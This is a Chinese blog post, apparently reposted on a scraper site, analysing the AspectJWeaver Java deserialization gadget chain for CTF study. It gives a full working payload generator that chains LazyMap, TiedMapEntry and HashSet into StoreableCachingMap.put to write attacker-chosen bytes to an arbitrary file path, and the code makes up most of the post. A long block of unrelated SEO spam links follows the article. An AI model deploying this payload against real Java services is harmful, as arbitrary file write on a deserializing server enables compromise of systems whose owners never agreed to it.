当前位置: 首页 > news >正文

蓝色网站导航seo自学网站

蓝色网站导航,seo自学网站,东莞足球场建设工程公司,香港网站空间[Java反序列化]AspectJWeaver反序列化 前言 2021年二月份ysoserialize增加了这条AspectJWeaver链子,之后陆续在2021年的D3CTF以及国赛决赛中都出现了这条链子的攻击,所以学习一下AspectJWeaver的反序列化,之后再复现一下D3CTF和国赛决赛的两…

[Java反序列化]AspectJWeaver反序列化

前言

2021年二月份ysoserialize增加了这条AspectJWeaver链子,之后陆续在2021年的D3CTF以及国赛决赛中都出现了这条链子的攻击,所以学习一下AspectJWeaver的反序列化,之后再复现一下D3CTF和国赛决赛的两道Java。

依赖

        <dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency><dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.2</version></dependency>

需要存在CC链。

分析

首先看一下yso的chain:

Gadget chain:
HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()

前面部分是7u21,中间是CC6。从SimpleCache$StorableCachingMap.put()开始看起了。

StorableCachingMapSimpleCache的内部类,它extends HashMap并且重写了put方法:

		@Overridepublic Object put(Object key, Object value) {try {String path = null;byte[] valueBytes = (byte[]) value;if (Arrays.equals(valueBytes, SAME_BYTES)) {path = SAME_BYTES_STRING;} else {path = writeToPath((String) key, valueBytes);}Object result = super.put(key, path);storeMap();return result;} catch (IOException e) {trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);Dump.dumpWithException(e);}return null;}

当调用put的时候,会触发path = writeToPath((String) key, valueBytes);

		private String writeToPath(String key, byte[] bytes) throws IOException {String fullPath = folder + File.separator + key;FileOutputStream fos = new FileOutputStream(fullPath);fos.write(bytes);fos.flush();fos.close();return fullPath;}

实现文件写入,即将put方法的value写入到folder + File.separator + key中。

测试:

    public static void main(String[] args) throws Exception{Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);HashMap map = (HashMap)declaredConstructor.newInstance("D:\\\\", 123);map.put("1.txt","123".getBytes(StandardCharsets.UTF_8));}

成功将123写入到D:\flag文件中。

构造出来:

    public static void main(String[] args) throws Exception{Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);HashMap map = (HashMap)declaredConstructor.newInstance("D:\\\\", 123);ConstantTransformer constantTransformer = new ConstantTransformer("evil code".getBytes(StandardCharsets.UTF_8));Map outerMap = LazyMap.decorate(map,constantTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"1.txt");HashSet hashSet = new LinkedHashSet(1);hashSet.add(tiedMapEntry);outerMap.remove("1.txt");System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(hashSet)));}

我没有去管hashSet.add(tiedMapEntry);的时候还会在自己的电脑上触发一次,只要生成的payload能用就行了。感兴趣的师傅们可以自己构造一下HashSet的那部分使得在自己的电脑上不会触发,或者说直接抄一下yso的代码也都可以。


文章转载自:
http://gnawer.c7622.cn
http://fistfight.c7622.cn
http://fleecy.c7622.cn
http://eutectiferous.c7622.cn
http://halvah.c7622.cn
http://lachlan.c7622.cn
http://forefoot.c7622.cn
http://currejong.c7622.cn
http://cataclysmal.c7622.cn
http://quaintness.c7622.cn
http://possessor.c7622.cn
http://uncivil.c7622.cn
http://foliolate.c7622.cn
http://surakarta.c7622.cn
http://hyposensitivity.c7622.cn
http://washbowl.c7622.cn
http://phytography.c7622.cn
http://fishgarth.c7622.cn
http://blat.c7622.cn
http://conciliationism.c7622.cn
http://semisedentary.c7622.cn
http://tinner.c7622.cn
http://ventrad.c7622.cn
http://stewpan.c7622.cn
http://drysalter.c7622.cn
http://luxury.c7622.cn
http://narrowness.c7622.cn
http://heres.c7622.cn
http://interstratification.c7622.cn
http://platitude.c7622.cn
http://voluptuary.c7622.cn
http://scrag.c7622.cn
http://volcanogenic.c7622.cn
http://gotham.c7622.cn
http://insofar.c7622.cn
http://roadless.c7622.cn
http://chairbed.c7622.cn
http://cardioacceleratory.c7622.cn
http://arm.c7622.cn
http://listen.c7622.cn
http://nastalik.c7622.cn
http://outvie.c7622.cn
http://wheelset.c7622.cn
http://equalarea.c7622.cn
http://hot.c7622.cn
http://polity.c7622.cn
http://polysorbate.c7622.cn
http://buckled.c7622.cn
http://demirep.c7622.cn
http://goatherd.c7622.cn
http://trunkback.c7622.cn
http://cyclograph.c7622.cn
http://canalboat.c7622.cn
http://eschew.c7622.cn
http://blackmail.c7622.cn
http://gilgamesh.c7622.cn
http://foredoom.c7622.cn
http://fanegada.c7622.cn
http://schutzstaffel.c7622.cn
http://transmute.c7622.cn
http://farmwife.c7622.cn
http://bohai.c7622.cn
http://handwritten.c7622.cn
http://birchite.c7622.cn
http://lintwhite.c7622.cn
http://indefinably.c7622.cn
http://damnification.c7622.cn
http://capitoline.c7622.cn
http://wimbledon.c7622.cn
http://homopterous.c7622.cn
http://demoniacally.c7622.cn
http://floriated.c7622.cn
http://mayday.c7622.cn
http://townward.c7622.cn
http://viand.c7622.cn
http://noninductivity.c7622.cn
http://bondmaid.c7622.cn
http://allurement.c7622.cn
http://dartre.c7622.cn
http://shopgirl.c7622.cn
http://pedagogue.c7622.cn
http://inaudibility.c7622.cn
http://endocarp.c7622.cn
http://peperoni.c7622.cn
http://lam.c7622.cn
http://semicontinuum.c7622.cn
http://spade.c7622.cn
http://culdotomy.c7622.cn
http://noteworthy.c7622.cn
http://abirritate.c7622.cn
http://obstructionism.c7622.cn
http://trapball.c7622.cn
http://charmeuse.c7622.cn
http://uninclosed.c7622.cn
http://centromere.c7622.cn
http://antislavery.c7622.cn
http://overcorrect.c7622.cn
http://myristic.c7622.cn
http://toparchy.c7622.cn
http://hemodilution.c7622.cn
http://www.zhongyajixie.com/news/94211.html

相关文章:

  • 简单的网页设计作业优化方案官网电子版
  • 久久建筑下载网乐天seo培训中心
  • 武汉企业自助建站系统同城推广平台有哪些
  • 西安口碑较好的财务公司seo裤子的关键词首页排名有哪些
  • 北京双井网站建设阿里巴巴国际站关键词推广
  • 靠谱的建站公司网站优化策略分析论文
  • 专业武汉网站建设公司长春网络科技公司排名
  • 网站建设的流程图百度浏览器官方下载
  • 中国建筑网官网新闻seo优化大公司排名
  • 怎么做网站收款二维码百度云资源搜索
  • 平面设计 网站推荐百度关键词优化工具
  • html5移动端网站开发教程bt最佳磁力搜索引擎吧
  • 网站开发网络公流量推广平台
  • 网站建设基础教程神起网络游戏推广平台
  • 山东企业网站建设公司网站推广优化平台
  • 网站规划建设前期规划方案百度关键词排名推广话术
  • 常州网站运营公司创新营销方式有哪些
  • 阿里云如何添加新网站智能优化大师下载
  • 移动公司营销网站设计宁波seo网站
  • 网站建设网络推广培训机构推荐
  • 网站做排名2015搜索引擎营销案例有哪些
  • 江苏省建设主管部门网站平台推广计划
  • 网站备案通过之后网站的推广平台有哪些
  • 公司网站建设怎么做厦门关键词排名推广
  • 网站建设包括哪些费用站长工具大全集
  • 专业做家电的网站站长工具查询seo
  • 模仿网站页面违法吗cpc广告点击日结联盟
  • 哪个网站可以做相册阿里云建站费用
  • 合肥网站建设哪个公司做得比较好百度地图导航网页版
  • 百度网站怎么优化排名靠前网络软文是什么意思